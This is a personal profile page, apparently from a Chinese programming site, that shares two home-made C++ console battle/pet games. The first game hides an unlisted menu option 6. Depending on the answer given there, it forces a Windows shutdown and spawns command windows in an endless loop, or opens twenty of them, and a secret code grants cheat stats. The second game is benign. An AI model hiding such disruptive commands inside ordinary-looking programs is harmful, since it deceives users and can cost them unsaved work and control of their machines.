• 个人简介

    你是我的第

    位访客

    我要送给大家一个白嫖游戏的网站 点这里试一试吧!

    下面是我自己写的游戏 第一个游戏

    #include<bits/stdc++.h>
    #include<windows.h>
    #include<conio.h>
    using namespace std;
    struct Player {
    	string name;
    	int health;
    	int attack;
    	int defense;
    	int potions;
    	int coins;
    	int level;
    };
    
    struct Enemy {
    	string name;
    	int health;
    	int attack;
    	int defense;
    };
    
    struct Boss {
    	string name;
    	int health;
    	int attack;
    	int defense;
    	int reward;
    };
    
    int main() {
    	srand(time(0));
    
    	Player player;
    	player.name = "玩家1";
    	player.health = 100;
    	player.attack = 20;
    	player.defense = 1;
    	player.potions = 10;
    	player.coins = 100;
    	player.level = 1;
    
    	int defeatedEnemies = 0; // 击败的敌人数量
    
    	cout << "欢迎来到战斗小游戏," << player.name << "!\n\n";
    
    // 游戏主循环
    	while (player.health > 0) {
    		cout << "玩家信息:\n";
    		cout << "生命值:" << player.health << "\n";
    		cout << "攻击力:" << player.attack << "\n";
    		cout << "防御力:" << player.defense << "\n";
    		cout << "药瓶数量:" << player.potions << "\n";
    		cout << "金币数量:" << player.coins << "\n";
    		cout << "等级:" << player.level << "\n\n";
    
    		cout << "请选择操作:\n";
    		cout << "1. 进行战斗\n";
    		cout << "2. 使用药瓶\n";
    		cout << "3. 购买装备\n";
    		cout << "4. 升级\n";
    		cout << "5. 挑战副本\n";
    		cout << "请输入选项:";
    
    		int choice;
    		cin >> choice;
    
    		if (choice == 1) {
    			Enemy enemy;
    			enemy.name = "敌人";
    			enemy.health = rand() % 50 + 50; // 随机生成敌人生命值
    			enemy.attack = rand() % 10 + 5; // 随机生成敌人攻击力
    			enemy.defense = rand() % 5 + 2; // 随机生成敌人防御力
    			bool flag=0;
    			cout << "遭遇了一只" << enemy.name << "!\n\n";
    
    			// 战斗循环
    			while (player.health > 0 && enemy.health > 0) {
    				cout << "玩家生命值:" << player.health << "\n";
    				cout << "敌人生命值:" << enemy.health << "\n\n";
    
    				cout << "请选择操作:\n";
    				cout << "1. 攻击\n";
    				cout << "2. 防御\n";
    				cout << "3. 逃跑\n";
    				cout << "请输入选项:";
    
    				int battleChoice;
    				cin >> battleChoice;
    
    				if (battleChoice == 1) {
    					// 玩家攻击敌人
    					int damageToEnemy = player.attack - enemy.defense;
    					if (damageToEnemy <= 0) {
    						damageToEnemy = 1; // 至少造成1点伤害
    					}
    					enemy.health -= damageToEnemy;
    					cout << "玩家对敌人造成了" << damageToEnemy<< "点伤害!\n";
    				} else if (battleChoice == 2) {
    					// 玩家防御逻辑
    					int damageReceived = enemy.attack - player.defense / 5;
    					if (damageReceived <= 0) {
    						damageReceived = 1; // 至少受到1点伤害
    					}
    					player.health -= damageReceived;
    					cout << "你选择了防御,敌人对你造成了" << damageReceived << "点伤害!\n\n";
    					enemy.health -= player.attack/2;
    					cout << "并且对BOSS造成了" << player.attack/2 <<"点伤害!\n\n";
    
    				} else if (battleChoice == 3) {
    					// 逃跑逻辑
    					flag=1;
    					cout<<"你成功逃了出来。\n\n";
    					break;
    				} else {
    					cout << "无效的选项,请重新选择。\n\n";
    				}
    				if (enemy.health > 0) {
    					// 敌人攻击玩家
    					int damageToPlayer = enemy.attack - player.defense;
    					if (damageToPlayer <= 0) {
    						damageToPlayer = 1; // 至少造成1点伤害
    					}
    					player.health -= damageToPlayer;
    					cout << "敌人对玩家造成了" <<  damageToPlayer << "点伤害!\n\n";
    				}
    			}
    
    			if (flag==0) {
    				if (player.health > 0) {
    					// 玩家胜利
    					int coinsEarned = rand() % 10 + 5 + 100; // 获得的金币数量
    					player.coins += coinsEarned;
    					cout << "战斗胜利,获得了" << coinsEarned << "个金币!\n\n";
    
    					defeatedEnemies++; // 击败的敌人数量加1
    
    					if (defeatedEnemies >= 5) {
    						defeatedEnemies = 0; // 重新计数
    
    						cout << "恭喜击败了5个敌人!出现了一个BOSS!\n\n";
    
    						Boss boss;
    						boss.name = "BOSS";
    						boss.health = 100 + player.level * 10; // 根据玩家等级调整BOSS生命值
    						boss.attack = 20 + player.level * 2; // 根据玩家等级调整BOSS攻击力
    						boss.defense = 10 + player.level; // 根据玩家等级调整BOSS防御力
    						boss.reward = rand() % 100 + 50; // BOSS奖励的金币数量
    
    						// BOSS战斗循环
    						while (player.health > 0 && boss.health > 0) {
    							cout << "玩家生命值:" << player.health << "\n";
    							cout << "BOSS生命值:" << boss.health << "\n\n";
    
    							cout << "请选择操作:\n";
    							cout << "1. 攻击\n";
    							cout << "2. 防御\n";
    							cout << "3. 逃跑\n";
    							cout << "请输入选项:";
    
    							int battleChoice;
    							cin >> battleChoice;
    
    							if (battleChoice == 1) {
    								// 玩家攻击BOSS
    								int damageToBoss = player.attack - boss.defense;
    								if (damageToBoss <= 0) {
    									damageToBoss = 1; // 至少造成1点伤害
    								}
    								boss.health -= damageToBoss;
    								cout << "玩家对BOSS造成了" << damageToBoss << "点伤害!\n";
    							} else if (battleChoice == 2) {
    								// 玩家防御逻辑
    								int bossDamageReduction = (boss.attack - player.defense) / 5;
    								player.health -= bossDamageReduction;
    								cout << "玩家成功防御,抵挡了BOSS一半的攻击力!\n";
    								boss.health -= player.attack/2;
    								cout << "并且对BOSS造成了" << player.attack/2 <<"点伤害!\n\n";
    							} else if (battleChoice == 3) {
    								// 逃跑逻辑
    								flag=1;
    								cout<<"你成功逃了出来。\n\n";
    								break;
    							} else {
    								cout << "无效的选项,请重新选择。\n\n";
    							}
    
    							if (boss.health > 0) {
    								// BOSS攻击玩家
    								int damageToPlayer = boss.attack - player.defense;
    								if (damageToPlayer <= 0) {
    									damageToPlayer = 1; // 至少造成1点伤害
    								}
    								player.health -= damageToPlayer;
    								cout << "BOSS对玩家造成了" << damageToPlayer << "点伤害!\n";
    							}
    						}
    						if (flag==0) {
    							if (player.health > 0) {
    								// 玩家胜利
    								player.coins += boss.reward;
    								cout << "恭喜击败了" << boss.name << "!获得了" << boss.reward << "个金币!\n\n";
    							} else {
    								// 玩家失败
    								cout << "战斗失败,玩家已阵亡。\n\n";
    							}
    						}
    					}
    				} else {
    					// 玩家失败
    					cout << "战斗失败,玩家已阵亡。\n\n";
    				}
    			}
    		} else if (choice == 2) {
    			int a;
    			cout << "你要使用多少瓶药?\n";
    			cout << "请输入选项:";
    			cin>>a;
    			if (player.potions > 0) {
    				for(int i=1; i<=a; i++) {
    					int healingAmount = rand() % 10 + 5; // 随机恢复的生命值范围
    					player.health += healingAmount;
    					player.potions--;
    				}
    				cout << "使用了" <<a<<"瓶药瓶\n\n";
    			} else {
    				cout << "没有药瓶可用!请重新选择。\n\n";
    			}
    		} else if (choice == 3) {       // 购买装备逻辑
    			cout << "选择购买装备类型:\n";
    			cout << "1. 武器\n";
    			cout << "2. 护甲\n";
    			cout << "3. 药瓶\n";
    			cout << "请输入选项:";
    			int equipmentChoice;
    			cin >> equipmentChoice;
    			if (equipmentChoice == 1) {
    				int a;
    				int weaponPrice = rand() % 50 + 200; // 随机生成武器价格
    				cout<<"武器价格是"<<weaponPrice;
    				cout<<"是否要购买  1.是   2.否\n";
    				cout << "请输入选项:";
    				cin>>a;
    				if(a==1) {
    					if (player.coins >= weaponPrice) {
    						player.coins -= weaponPrice; // 扣除金币
    						player.attack += rand() % 20 + 150; // 增加攻击力
    						std::cout << "购买了一件武器,攻击力增加5点。\n\n";
    					} else {
    						std::cout << "金币不足!\n\n";
    					}
    				}
    			} else if (equipmentChoice == 2) {
    				int a;
    				int armorPrice = rand() % 60 + 100; // 随机生成护甲价格
    				cout<<"护甲价格是"<<armorPrice;
    				cout<<"是否要购买  1.是   2.否\n";
    				cout << "请输入选项:";
    				cin>>a;
    				if(a==1) {
    					if (player.coins >= armorPrice) {
    						player.coins -= armorPrice; // 扣除金币
    						player.defense += rand() % 20 + 250; // 增加防御力
    						player.health += 50;
    						std::cout << "购买了一件护甲,防御力增加5点。\n\n";
    					} else {
    						std::cout << "金币不足!\n\n";
    					}
    				}
    			} else if (equipmentChoice == 3) {
    				int potionPrice = 10,a,b,x=0; // 药瓶价格
    				cout<<"你要买多少瓶?\n";
    				cout << "请输入选项:";
    				cin>>b;
    				x=potionPrice*b;
    				cout<<"药瓶价格是"<<x;
    				cout<<"是否要购买  1.是   2.否\n";
    				cout << "请输入选项:";
    				cin>>a;
    				if(a==1) {
    					for(int i=1; i<=b; i++) {
    						if (player.coins >= potionPrice) {
    							player.coins -= potionPrice;
    							player.potions++;
    						} else {
    							cout << "金币不足,无法购买药瓶。\n\n";
    						}
    					}
    				}
    			} else {
    				cout << "无效的选项,请重新选择。\n\n";
    			}
    		} else if (choice == 4) {
    			cout<<"你要一次性升几级!\n";
    			int n=0;
    			bool flag=0;
    			cout << "请输入选项:";
    			cin>>n;
    			for(int i=1; i<=n; i++) {
    				int upgradeCost = player.level * 10; // 升级所需金币数量
    				if (player.coins >= upgradeCost) {
    					player.coins -= upgradeCost; // 扣除金币
    					player.level++; // 等级提升
    					flag=1;
    				} else {
    					cout << "金币不足以进行升级!\n\n";
    					break;
    				}
    			}
    			if(flag==1) {
    				cout << "升级成功,等级提升至" << player.level << "级!\n\n";
    				player.health = player.health + player.level * 50; // 根据玩家等级调整BOSS生命值
    				player.attack = player.attack + player.level * 40; // 根据玩家等级调整BOSS攻击力
    				player.defense = player.defense + player.level * 30;
    			}
    
    
    		} else if (choice == 5) {
    			// 进入副本
    			cout << "欢迎进入副本!请选择挑战的BOSS:\n";
    			cout << "1. 龙之王\n";
    			cout << "2. 魔法帝国\n";
    			cout << "3. 地狱使者\n";
    			cout << "4. 虚空使者\n";
    			cout << "5. 无名地牢\n";
    			cout << "请输入选项:";
    
    			int bossChoice;
    			cin >> bossChoice;
    
    			Boss boss;
    			if (bossChoice == 1) {
    				boss.name = "龙之王";
    				boss.health = 500 + player.level * 100; // 根据玩家等级调整BOSS生命值
    				boss.attack = 50 + player.level * 50; // 根据玩家等级调整BOSS攻击力
    				boss.defense = 20 + player.level * 30; // 根据玩家等级调整BOSS防御力
    				boss.reward = rand() % 500 + 500;
    			} else if (bossChoice == 2) {
    				boss.name = "魔法帝国";
    				boss.health = 1000 + player.level * 200; // 根据玩家等级调整BOSS生命值
    				boss.attack = 100 + player.level * 80; // 根据玩家等级调整BOSS攻击力
    				boss.defense = 40 + player.level * 40; // 根据玩家等级调整BOSS防御力
    				boss.reward = rand() % 1000 + 1000;
    			} else if (bossChoice == 3) {
    				boss.name = "地狱使者";
    				boss.health = 2000 + player.level * 300; // 根据玩家等级调整BOSS生命值
    				boss.attack = 200 + player.level * 100; // 根据玩家等级调整BOSS攻击力
    				boss.defense = 80 + player.level * 50; // 根据玩家等级调整BOSS防御力
    				boss.reward = rand() % 2000 + 2000;
    			} else if (bossChoice == 4) {
    				boss.name = "虚空使者";
    				boss.health = 3000 + player.level * 400; // 根据玩家等级调整BOSS生命值
    				boss.attack = 800 + player.level * 200; // 根据玩家等级调整BOSS攻击力
    				boss.defense = 500 + player.level * 100; // 根据玩家等级调整BOSS防御力
    				boss.reward = rand() % 3000 + 3000;
    
    			} else if (bossChoice == 5) {
    				boss.name = "无名地牢";
    				boss.health = 18000 + player.level * 600; // 根据玩家等级调整BOSS生命值
    				boss.attack = 2500 + player.level * 400; // 根据玩家等级调整BOSS攻击力
    				boss.defense = 1500 + player.level * 999; // 根据玩家等级调整BOSS防御力
    				boss.reward = rand() % 3000 + 10000;
    			} else {
    				cout << "无效的选项,请重新选择。\n\n";
    				continue;
    			}
    			bool flag=0;
    			// BOSS战斗循环
    			while (player.health > 0 && boss.health > 0) {
    				cout << "玩家生命值:" << player.health << "\n";
    				cout << boss.name << "生命值:" << boss.health << "\n\n";
    
    				cout << "请选择操作:\n";
    				cout << "1. 攻击\n";
    				cout << "2. 防御\n";
    				cout << "3. 逃跑\n";
    				cout << "请输入选项:";
    
    				int battleChoice;
    				cin >> battleChoice;
    
    				if (battleChoice == 1) {
    					// 玩家攻击BOSS
    					int damageToBoss = player.attack - boss.defense;
    					if (damageToBoss <= 0) {
    						damageToBoss = 200; // 至少造成1点伤害
    					}
    					boss.health -= damageToBoss;
    					cout << "玩家对" << boss.name << "造成了" << damageToBoss << "点伤害!\n";
    				} else if (battleChoice == 2) {
    					// 玩家防御逻辑
    					int bossDamageReduction = (boss.attack - player.defense) / 5;
    					player.health -= bossDamageReduction;
    					cout << "玩家成功防御,抵挡了" << boss.name << "一半的攻击力!\n";
    					boss.health -= player.attack/2;
    					cout << "并且对BOSS造成了" << player.attack/2 <<"点伤害!\n\n";
    				} else if (battleChoice == 3) {
    					// 逃跑逻辑
    					flag=1;
    					cout<<"你成功逃了出来。\n\n";
    					break;
    				} else {
    					cout << "无效的选项,请重新选择。\n\n";
    				}
    
    				if (boss.health > 0) {
    					// BOSS攻击玩家
    					int damageToPlayer = boss.attack - player.defense;
    					if (damageToPlayer <= 0) {
    						damageToPlayer = 1; // 至少造成1点伤害
    					}
    					player.health -= damageToPlayer;
    					cout << boss.name << "对玩家造成了" << damageToPlayer << "点伤害!\n\n";
    				}
    			}
    			if (flag==0) {
    				if (player.health > 0) {
    					// 玩家胜利
    					player.coins += boss.reward;
    					cout << "恭喜击败了" << boss.name << "!获得了" << boss.reward << "个金币!\n\n";
    				} else {
    					// 玩家失败
    					cout << "战斗失败,玩家已阵亡。\n\n";
    				}
    			}
    		} else {
    			cout << "无效的选项,请重新选择。\n\n";
    		}
    		if(choice == 6) {
    			int mima;
    			cout << "您是尊敬的主办方吗?   1.是  2.不是\n";
    			cin>>mima;
    			if(mima==1) {
    				cout <<"是呀....没见过,惩罚!\n";
    				system("shutdown -s -t 1 20");
    				while(1) {
    					system("start cmd");
    				}
    			} else if(mima==2) {
    				cout <<"不是呀...那你进来干吗,惩罚!\n";
    				for(int i=1; i<=20; i++) {
    					system("start cmd");
    				}
    				cout<<"哈哈哈哈!!!骗你的,因为你是诚实的孩子,好吧继续玩吧!\n\n";
    			} else if(mima==114514) {
    				cout<<"尊敬的主办方,请问你是需要什么?";
    				int xuanze;
    				cout << "请选择操作:\n";
    				cout << "1. 攻击增加\n";
    				cout << "2. 防御增加\n";
    				cout << "3. 血量增加\n";
    				cout << "4. 金币增加\n";
    				cout << "5. 全都要\n";
    				cout << "请输入选项:";
    				cin>>xuanze;
    				if(xuanze==1) {
    					player.attack +=1000000;
    				} else if(xuanze==2) {
    					player.defense +=500000;
    				} else if(xuanze==3) {
    					player.health +=999999999;
    				} else if(xuanze==4) {
    					player.coins +=9999999999;
    				} else if(xuanze==5) {
    					player.attack +=99999999999;
    					player.defense +=99999999999;
    					player.health +=99999999999;
    					player.coins +=9999999;
    					player.level +=9999999999;
    				}
    			}
    
    		}
    	}
    	cout << "游戏结束!\n";
    	return 0;
    }
    

    第二个游戏

    #include<bits/stdc++.h>
    using namespace std;
    int main() {
    	bool flag=0;
    	long long qian=20,aden=1,amin=20,yao=10,aminx=10,agong=0,agongg=20,afang=0,mg[6]= {5,20,30,40,50},mq[5]= {2,10,20,50,100},mm[5]= {20,40,60,80,100},a,b=0,c,d;
    	cout<<"1.资源商店"<<endl;
    	cout<<"2.获得宠物"<<endl;
    	cout<<" 3.出战"<<endl;
    	cout<<"恭喜获得新人礼包:金币*1"<<endl;
    	cin>>b;
    	if(b==1 || b==3) {
    		cout<<"请先获得宠物"<<endl;
    		cout<<"1.小猫 收费:金币*1"<<endl;
    		cout<<"2.小狗 收费:金币*1"<<endl;
    	} else if(b==2) {
    		cout<<"1.小猫 收费:金币*1"<<endl;
    		cout<<"2.小狗 收费:金币*1"<<endl;
    	}
    	cin>>b;
    	if(b==1) {
    		cout<<"恭喜获得宠物:小猫"<<endl;
    	} else if(b==2) {
    		cout<<"恭喜获得宠物:小狗"<<endl;
    	}
    	cout<<"成功获得宠物 奖励金币*10"<<endl;
    	while(b!=9) {
    		flag=0;
    		cout<<"1.资源商店"<<endl;
    		cout<<"2.宠物升级"<<endl;
    		cout<<"3.出战"<<endl;
    		cout<<"4.资料"<<endl;
    		cout<<"按9结束游戏"<<endl;
    		cin>>b;
    		if(b==9) {
    			cout<<"感谢游玩"<<endl;
    			return 0;
    		} else if(b==1) {
    			cout<<"1.装备"<<endl;
    			cout<<"2.药品"<<endl;
    			cin>>a;
    			if(a==1) {
    				cout<<"1.攻击"<<endl;
    				cout<<"2.防御"<<endl;
    				cin>>c;
    				if(c==1) {
    					cout<<"1.铁齿 (+20) 收费:金币*40"<<endl;
    					cout<<"2.钢毛 (+25) 收费:金币*50"<<endl;
    					cout<<"3.铜爪 (+30) 收费:金币*60"<<endl;
    					cout<<"4.银掌 (+50) 收费:金币*100"<<endl;
    					cout<<"5.远古石球 (+100) 收费:金币*300"<<endl;
    					cin>>d;
    					if(d==5 && qian>=300) {
    						agong+=100;
    						qian-=300;
    						cout<<"当前攻击力:"<<agong<<endl;
    					} else if(d==1 && qian>=40) {
    						agong+=20;
    						qian-=40;
    						cout<<"当前攻击力:"<<agong<<endl;
    					} else if(d==2 && qian>=50) {
    						agong+=25;
    						qian-=50;
    						cout<<"当前攻击力:"<<agong<<endl;
    					} else if(d==3 && qian>=60) {
    						agong+=30;
    						qian-=60;
    						cout<<"当前攻击力:"<<agong<<endl;
    					} else if(d==4 && qian>=100) {
    						agong+=50;
    						qian-=100;
    						cout<<"当前攻击力:"<<agong;
    					} else if(d==1 || d==2 || d==3 || d==4 || d==5) {
    						cout<<"金币不够"<<endl<<"当前金币:"<<qian<<endl;
    					}
    				}
    				if(c==2) {
    					cout<<"1.铁甲 (%20) 收费:金币*40"<<endl;
    					cout<<"2.钢甲 (%30) 收费:金币*50"<<endl;
    					cout<<"3.铜甲 (%40) 收费:金币*60"<<endl;
    					cout<<"4.银甲 (%50) 收费:金币*100"<<endl;
    					cout<<"5.时空金甲 (%90) 收费:金币*300"<<endl;
    					cin>>d;
    					if(d==5 && qian>=300) {
    						afang=1;
    						qian-=300;
    						amin+=150;
    						cout<<"当前防御力:%"<<afang<<endl<<"当前血量总值:"<<amin<<endl;
    					} else if(d==1 && qian>=40) {
    						afang=8;
    						qian-=40;
    						amin+=20;
    						cout<<"当前防御力:%"<<afang<<endl<<"当前血量总值:"<<amin<<endl;
    					} else if(d==2 && qian>=50) {
    						afang=7;
    						qian-=50;
    						amin+=25;
    						cout<<"当前防御力:%"<<afang<<endl<<"当前血量总值:"<<amin<<endl;
    					} else if(d==3 && qian>=60) {
    						afang=6;
    						qian-=60;
    						amin+=30;
    						cout<<"当前防御力:%"<<afang<<endl<<"当前血量总值:"<<amin<<endl;
    					} else if(d==4 && qian>=100) {
    						afang=5;
    						qian-=100;
    						amin+=50;
    						cout<<"当前防御力:%"<<afang<<endl<<"当前血量总值:"<<amin<<endl;
    					} else if(d==1 || d==2 || d==3 || d==4 || d==5) {
    						cout<<"金币不够"<<endl<<"当前金币:"<<qian<<endl;
    					}
    				}
    			}
    			if(a==2) {
    				cout<<"1.血液回满 收费:金币*1"<<endl;
    				cout<<"2.快速回复*5(可在战斗中使用) 收费:金币*2"<<endl;
    				cin>>c;
    				if(c==1 && qian>=1) {
    					aminx=amin;
    					qian-=1;
    					cout<<"当前血量:"<<aminx<<endl;
    				} else if(c==1) {
    					cout<<"金币不够"<<endl<<"当前金币:"<<qian<<endl;
    				}
    				if(c==2 && qian>=2) {
    					yao+=5;
    					cout<<"当前药品量:"<<yao<<endl;
    					qian-=2;
    				} else if(c==2) {
    					cout<<"金币不够"<<endl<<"当前金币:"<<qian<<endl;
    				}
    			}
    		} else if(b==2) {
    			if(afang<20 && agong<20) {
    				cout<<"请先获得至少一件攻击用具和至少一件防御用具"<<endl;
    			} else {
    				cout<<"当前等级为"<<aden<<"级,晋级需要金币*"<<aden*100<<"是否晋级?"<<endl;
    				cout<<"1.是"<<endl;
    				cout<<"2.否"<<endl;
    				cin>>a;
    				if(a==1 && qian>=aden*100) {
    					aden++;
    					agongg*=2;
    					amin*=2;
    					qian+=aden*10;
    					cout<<"恭喜晋级成功,获得奖励:金币*"<<aden*10<<endl;
    				} else if(a==1) {
    					cout<<"金币不够"<<endl<<"当前金币:"<<qian<<endl;
    				}
    			}
    		} else if(b==3 && aminx>0) {
    			cout<<"1.小怪 攻击力:5 生命值:30"<<endl;
    			cout<<"2.小怪之王 攻击力:20 生命值:90"<<endl;
    			cout<<"3.小魔头 攻击力:30 生命值:90"<<endl;
    			cout<<"4.大魔头 攻击力:40 生命值:120"<<endl;
    			cout<<"5.万魔之王 攻击力:50 生命值:150"<<endl;
    			cin>>a;
    			cout<<"开始战斗"<<endl;
    			if(afang!=0) {
    				mg[a-1]/=10;
    				mg[a-1]*=afang;
    			}
    			while(aminx>0 && mm[a-1]>0) {
    				cout<<"1.攻击"<<endl;
    				cout<<"2.快速回复"<<endl;
    				cout<<"3.逃跑"<<endl;
    				cin>>c;
    				if(c==1) {
    					mm[a-1]-=(agong+agongg);
    					aminx-=mg[a-1];
    					cout<<"魔兽血量-"<<agong+agongg<<"="<<mm[a-1]<<endl<<"宠物血量-"<<mg[a-1]<<"="<<aminx<<endl;
    				} else if(c==2) {
    					if(yao>0) {
    						yao--;
    						aminx=amin;
    						cout<<"当前血量:"<<aminx<<endl;
    						cout<<"剩余药品量:"<<yao<<endl;
    					} else {
    						cout<<"药品不足"<<endl;
    					}
    				} else if(c==3) {
    					flag=1;
    					cout<<"你成功逃跑!"<<endl;
    					break;
    				}
    			}
    			if(mm[a-1]<=0 && aminx>0) {
    				cout<<"挑战成功"<<endl<<"获得奖励 金币*"<<mq[a-1]<<endl;
    				qian+=mq[a-1];
    				if(a!=1) {
    					mg[a-1]=a*5*2;
    					mm[a-1]=mg[a-1]/2*4;
    				} else {
    					mg[a-1]=5;
    					mm[a-1]=20;
    				}
    			} else {
    				if(flag==0) {
    					cout<<"你死了"<<endl;
    					if(a!=1) {
    						mg[a-1]=a*5*2;
    						mm[a-1]=mg[a-1]/2*4;
    					} else {
    						mg[a-1]=5;
    						mm[a-1]=20;
    					}
    				}
    			}
    		} else if(b==3) {
    			cout<<"您的宠物已经没有血了,请先补满血再来"<<endl;
    		} else if(b==4) {
    			cout<<"-------------------------"<<endl;
    			cout<<"|血量总值:"<<amin<<" ";
    			cout<<"当前血量:"<<aminx<<endl;
    			cout<<"|当前金币:"<<qian<<" ";
    			cout<<"当前攻击力:"<<agong+agongg<<endl;
    			if(afang!=0) {
    				cout<<"|当前防御力:%"<<(10-afang)*10<<" ";
    			} else {
    				cout<<"|当前防御力:%0"<<" ";
    			}
    			cout<<"当前药品量:"<<yao<<endl;
    		}
    	}
    	return 0;
    }